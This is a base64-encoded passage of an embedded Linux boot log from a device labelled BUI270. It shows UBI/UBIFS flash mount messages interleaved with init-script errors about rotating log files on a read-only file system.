b2x1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZXM6ICAg
ICAgIDEyOA0KSmFuICAxIDAwOjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAg
NS4xMzgxNTZdIFVCSTogd2Vhci1sZXZlbGluZyB0aHIgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGVzaG9sZDogICAgNDA5Ng0KSmFuICAxIDAwOjAwOjA0IEJV
STI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4xNDU5MDNdIFVCSTogbnVtYmVyIG9mIGlu
dGVybmEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGwgWyAg
ICA1LjIzNzMwMl0gVUJJRlM6IHJlY292ZXJ5IG5lZWRlZA0Kdm9sdW1lczogMQ0KSmFuICAxIDAw
OjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4xNTMxMzVdIFVCSTogbnVt
YmVyIG9mIHVzZXIgdm8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGx1bWVzOiAgICAgMQ0KSmFuICAxIDAwOjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJu
ZWw6IFsgICAgNS4xNjA0MzddIFVCSTogYXZhaWxhYmxlIFBFQnM6ICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KSmFuICAxIDAwOjAw
OjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4xNjc2MjhdIFVCSTogdG90YWwg
bnVtYmVyIG9mIHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGVzZXJ2ZWQgUEVCczogMzM0NA0KSmFuICAxIDAwOjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBr
ZXJuZWw6IFsgICAgNS4xNzU2MzRdIFVCSTogbnVtYmVyIG9mIFBFQnMgcmUgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlcnZlZCBmb3IgYmFkIFBFQiBoYW5k
bGluZzogMzMNCkphbiAgMSAwMDowMDowNCBCVUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAg
IDUuMTg0NTE4XSBVQkk6IG1heC9tZWFuIGVyYXNlIGNvICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICB1bnRlcjogMTc4LzExMg0KSmFuICAxIDAwOjAwOjA0IEJV
STI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4xOTE5OTJdIFVCSTogaW1hZ2Ugc2VxdWVu
Y2UgbnUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1iZXI6
ICAxMDg0MjQ3MjAxDQpKYW4gIDEgMDA6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDog
WyAgICA1LjE5OTczNV0gVUJJOiBiYWNrZ3JvdW5kIHRocmVhZCAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1YmlfYmd0MWQiIHN0YXJ0ZWQsIFBJRCA4NjEN
CkphbiAgMSAwMDowMDowNCBCVUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMjM3MzAy
XSBVQklGUzogcmVjb3ZlcnkgbmVlZGVkDQpbICAgIDUuMzI0Mzg4XSBVQklGUzogcmVjb3Zlcnkg
Y29tcGxldGVkDQpbICAgIDUuMzI4MDU5XSBVQklGUzogbW91bnRlZCBVQkkgZGV2aWNlIDEsIHZv
bHVtZSAwLCBuYW1lICJhcHBkYXRhIg0KSmFuICAxIDAwOjAwOjA1IEJVSTI3MCB1c2VyLm5vdGlj
WyAgICA1LjMzNDU4Nl0gVUJJRlM6IGZpbGUgc3lzdGVtIHNpemU6ICAgODM2NTEgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDc4ODggYnl0ZXMgKDgxNjkxMiBL
aUIsIDc5NyBNaUIsIDMyOTQgTEVCcykNCmUga2VybmVsOiBbICAgIDUuMzI0Mzg4XSBVQklGUzog
clsgICAgNS4zNDU3MzBdIFVCSUZTOiBqb3VybmFsIHNpemU6ICAgICAgIDMzNTIxICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA2NjQgYnl0ZXMgKDMyNzM2IEtp
QiwgMzEgTWlCLCAxMzIgTEVCcykNCmVjb3ZlcnkgY29tcGxldGVkDQpKYW4gIDEgMDA6MDA6MFsg
ICAgNS4zNTU5MjJdIFVCSUZTOiBtZWRpYSBmb3JtYXQ6ICAgICAgIHc0L3IwIChsYXRlc3QgaXMg
dzQvcjApDQo1IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICBbICAgIDUuMzY0NjAwXSBV
QklGUzogZGVmYXVsdCBjb21wcmVzc29yOiBsem8NCiA1LjMyODA1OV0gVUJJRlM6IG1vdW50ZWQg
VUJJIGRldlsgICAgNS4zNzE1NTNdIFVCSUZTOiByZXNlcnZlZCBmb3Igcm9vdDogIDQ5NTI2ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA4MyBieXRlcyAoNDgz
NiBLaUIpDQppY2UgMSwgdm9sdW1lIDAsIG5hbWUgImFwcGRhdGEiDQpKYW4gIDEgMDA6MDA6MDUg
QlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjMzNDU4Nl0gVUJJRlM6IGZpbGUgc3lz
dGVtIHNpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZTog
ICA4MzY1MTc4ODggYnl0ZXMgKDgxNjkxMiBLaUIsIDc5NyBNaUIsIDMyOTQgTEVCcykNCkphbiAg
MSAwMDowMDowNSBCVUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMzQ1NzMwXSBVQklG
Uzogam91cm5hbCBzaXplOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIDMzNTIxNjY0IGJ5dGVzICgzMjczNiBLaUIsIDMxIE1pQiwgMTMyIExFQnMp
DQpKYW4gIDEgMDA6MDA6MDUgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjM1NTky
Ml0gVUJJRlM6IG1lZGlhIGZvcm1hdDogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB3NC9yMCAobGF0ZXN0IGlzIHc0L3IwKQ0KSmFuICAxIDAwOjAw
OjA1IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4zNjQ2MDBdIFVCSUZTOiBkZWZh
dWx0IGNvbXByZXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IHNvcjogbHpvDQpKYW4gIDEgMDA6MDA6MDUgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAg
ICA1LjM3MTU1M10gVUJJRlM6IHJlc2VydmVkIGZvciBybyAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgb3Q6ICA0OTUyNjgzIGJ5dGVzICg0ODM2IEtpQikNCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjI4Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3Rl
bS1zZXR0aW5ncy4yNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3MuMjYuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjI1
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzExLXN5c3RlbS1zZXR0aW5ncy4yNC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3MuMjMuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNl
dHRpbmdzLjIyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4yMS5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3MuMjAuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEt
c3lzdGVtLXNldHRpbmdzLjE5Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4xOC5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGlu
Z3MuMTcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjE2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4xNS5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0
ZW0tc2V0dGluZ3MuMTQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjEzLmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4x
Mi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1MxMS1zeXN0ZW0tc2V0dGluZ3MuMTEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjEwLmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1z
ZXR0aW5ncy45Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy44Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy43Lmd6Jzog
UmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5
c3RlbS1zZXR0aW5ncy42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy41Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy40
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzExLXN5c3RlbS1zZXR0aW5ncy4zLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4yLmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0
aW5ncy4xLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4wLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpn
emlwOiBjYW4ndCBvcGVuICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy5neic6IFJlYWQt
b25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0t
c2V0dGluZ3MuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQovZXRjL2luaXQuZC9yYzUu
ZC9TMTEtc3lzdGVtLXNldHRpbmdzOiBsaW5lIDQ6IGNhbid0IGNyZWF0ZSAvdmFyL2xvZy8vUzEx
LXN5c3RlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLXNl
dHRpbmdzOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMTItc3dhcC4yOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjI3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMjYuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC4yNS5neic6IFJlYWQt
b25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjI0
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzEyLXN3YXAuMjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMTItc3dhcC4yMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjIxLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMjAuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC4xOS5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1Mx
Mi1zd2FwLjE4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzEyLXN3YXAuMTcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC4xNi5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjE1Lmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMTQuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTIt
c3dhcC4xMy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zh
ci9sb2cvL1MxMi1zd2FwLjEyLlsgICAgNS43NTAyNjBdIFVCSTogYXR0YWNoaW5nIG10ZDIgdG8g
dWIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGkyDQpneic6
IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNbICAgIDUuNzU2MzY0XSBVQkk6IHBoeXNpY2Fs
IGVyYXNlYmxvY2sgc2l6ZTogICAyNjIxNDQgYnl0ZXMgKDI1NiBLaUIpDQphbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MxMi1zd2FwLjFbICAgIDUuNzY1OTQyXSBVQkk6IGxvZ2ljYWwgZXJhc2VibG9j
ayBzaXplOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDI1Mzk1MiBieXRlcw0KMS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6WyAgICA1Ljc3
Mzg4OV0gVUJJOiBzbWFsbGVzdCBmbGFzaCBJL08gdW5pdDogICAgNDA5Ng0KIGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL1MxMi1zd2FwWyAgICA1Ljc4MTQzMF0gVUJJOiBWSUQgaGVhZGVyIG9mZnNl
dDogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICA0MDk2IChhbGlnbmVkIDQwOTYpDQouMTAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm1b
ICAgIDUuNzkwMjkwXSBVQkk6IGRhdGEgb2Zmc2V0OiAgICAgICAgICAgICAgICA4MTkyDQp2OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC45Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuOC5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RbICAgIDUuODA3NjA5XSBVQiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgSTogbWF4LiBzZXF1ZW5jZSBudW1iZXI6ICAgICAgIDEwMTkNCmVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuNy5neic6IFJlYWQtb25seSBm
aWxlIHN5WyAgICA1LjgxNzMwNF0gVUJJOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGF0dGFjaGVkIG10ZDIgdG8gdWJpMg0Kc3RlbQ0KbXY6IGNhbid0IHJl
bmFtZSAnL3Zhci9sb2cvWyAgICA1LjgyMzIwN10gVUJJOiBNVEQgZGV2aWNlIG5hbWU6ICAgICAg
ICAgICAgInZlcnMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGlvbiINCi9TMTItc3dhcC42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc1sgICAgNS44MzExNjldIFVC
STogTVREIGRldmljZSBzaXplOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgNiBNaUINCnlzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZ1sgICAgNS44Mzg3OTJdIFVCSTogbnVtYmVyIG9mIGdvb2QgUEVCczogICAgICAgIDI0DQov
L1MxMi1zd2FwLjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBbICAgIDUuODQ2MDYwXSBVQkk6IG51bWJl
ciBvZiBiYWQgUEVCczogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIDANCnN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb1sgICAgNS44
NTM1NDldIFVCSTogbnVtYmVyIG9mIGNvcnJ1cHRlZCBQRUJzOiAgIDANCmcvL1MxMi1zd2FwLjQu
Z3onOiBSZWFkLW9ubHkgZmlsZVsgICAgNS44NjA3ODJdIFVCSTogbWF4LiBhbGxvd2VkIHZvbHVt
ZXM6ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
MTI4DQogc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xbICAgIDUuODY4MTQyXSBVQkk6
IHdlYXItbGV2ZWxpbmcgdGhyZXNob2xkOiAgICA0MDk2DQpvZy8vUzEyLXN3YXAuMy5neic6IFJl
YWQtb25seSBmaWxbICAgIDUuODc1ODg3XSBVQkk6IG51bWJlciBvZiBpbnRlcm5hbCB2b2x1bWVz
OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDENCmUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL1sgICAgNS44ODMxMjNdIFVCSTogbnVtYmVyIG9m
IHVzZXIgdm9sdW1lczogICAgIDENCmxvZy8vUzEyLXN3YXAuMi5neic6IFJlYWQtb25seSBmaVsg
ICAgNS44OTA0MjVdIFVCSTogYXZhaWxhYmxlIFBFQnM6ICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyWyAgICA1Ljg5NzYxNF0gVUJJOiB0b3RhbCBudW1iZXIgb2YgcmVzZXJ2
ZWQgUEVCczogMjQNCi9sb2cvL1MxMi1zd2FwLjEuZ3onOiBSZWFkLW9ubHkgZlsgICAgNS45MDU0
NDJdIFVCSTogbnVtYmVyIG9mIFBFQnMgcmVzZXJ2ZWQgZm9yICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFkIFBFQiBoYW5kbGluZzogMg0KaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3ZhWyAgICA1LjkxNDI0Nl0gVUJJOiBtYXgvbWVhbiBlcmFz
ZSBjb3VudGVyOiA1NS80Mg0Kci9sb2cvL1MxMi1zd2FwLjAuZ3onOiBSZWFkLW9ubHkgWyAgICA1
LjkyMTU0NV0gVUJJOiBpbWFnZSBzZXF1ZW5jZSBudW1iZXI6ICAxMjcgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDY1MDI5Mw0KZmlsZSBzeXN0ZW0NCmd6aXA6
IGNhbid0IG9wZW4gJy92WyAgICA1LjkyOTIwM10gVUJJOiBiYWNrZ3JvdW5kIHRocmVhZCAidWJp
X2JndDJkIiBzdGFydGVkLCBQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBJRCA5ODMNCmFyL2xvZy8vUzEyLXN3YXAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC5neic6IE5vIHN1Y2ggZmls
ZSBvciBkaXJlY3RvcnkNCi9ldGMvaW5pdC5kL3JjNS5kL1MxMi1zd2FwOiBsaW5lIDQ6IGNhbid0
IGNyZWF0ZSAvdmFyL2xvZy8vUzEyLXN3YXA6IFJlYWQtb25seSBmICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzEzLXBhcnRpdGlvbi12ZXJzaW9uLjI4Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEzLXBhcnRpdGlvbi12ZXJzaW9u
LjI3Lmd6JzogUmVhZC1vbmxbICAgIDUuOTY3NTIxXSAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIFVCSUZTOiByZWNvdmVyeSBuZWVkZWQNCnkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMtcGFydGl0aW9uLXZlcnNpb24uMjYu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
MTMtcGFydGl0aW9uLXZlcnNpb24uMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMtcGFydGl0aW9uLXZlcnNpb24uMjQuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMtcGFydGl0
aW9uLXZlcnNpb24uMjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMTMtcGFydGl0aW9uLXZlcnNpb24uMjIuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMtcGFydGl0aW9uLXZlcnNp
b24uMjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMTMtcGFydGl0aW9uLXZlcnNpb24uMjAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMtcGFydGl0aW9uLXZlcnNpb24uMTkuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMt
cGFydGl0aW9uLXZlcnNpb24uMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9bICAgIDYuMDM4MzI1XSBVQklGUzogcmVjb3ZlcnkgY29tcGxldGVk
DQpnLy9TMTMtcGFydGl0aW9uLXZlcnNpb24uMTcuZ3onOiBbICAgIDYuMDQyMzEyXSBVQklGUzog
bW91bnRlZCBVQkkgZGV2aWNlIDIsIHZvbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdW1lIDAsIG5hbWUgInZlcnNpb24iDQpSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCBbICAgIDYuMDUxNjg1XSBVQklGUzogZmlsZSBzeXN0ZW0gc2l6ZTogICAy
NTM5NTIwIGJ5dGVzICgyNDgwIEtpQiwgMiBNICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBpQiwgMTAgTEVCcykNCnJlbmFtZSAnL3Zhci9sb2cvL1MxMy1wYXJ0
aXRpb24tdlsgICAgNi4wNjE5MDRdIFVCSUZTOiBqb3VybmFsIHNpemU6ICAgICAgIDE3Nzc2ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA2NSBieXRlcyAoMTcz
NiBLaUIsIDEgTWlCLCA1IExFQnMpDQplcnNpb24uMTYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXNb
ICAgIDYuMDcxNjQ2XSBVQklGUzogbWVkaWEgZm9ybWF0OiAgICAgICB3NC9yMCAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChsYXRlc3QgaXMgdzQvcjApDQp0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9bICAgIDYuMDgwMzIxXSBVQklGUzogZGVm
YXVsdCBjb21wcmVzc29yOiBsem8NClMxMy1wYXJ0aXRpb24tdmVyc2lvbi4xNS5neic6IFJlYVsg
ICAgNi4wODcxNjFdIFVCSUZTOiByZXNlcnZlZCBmb3Igcm9vdDogIDExOTk0ICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA3IGJ5dGVzICgxMTcgS2lCKQ0KZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEzLXBhcnRpdGlv
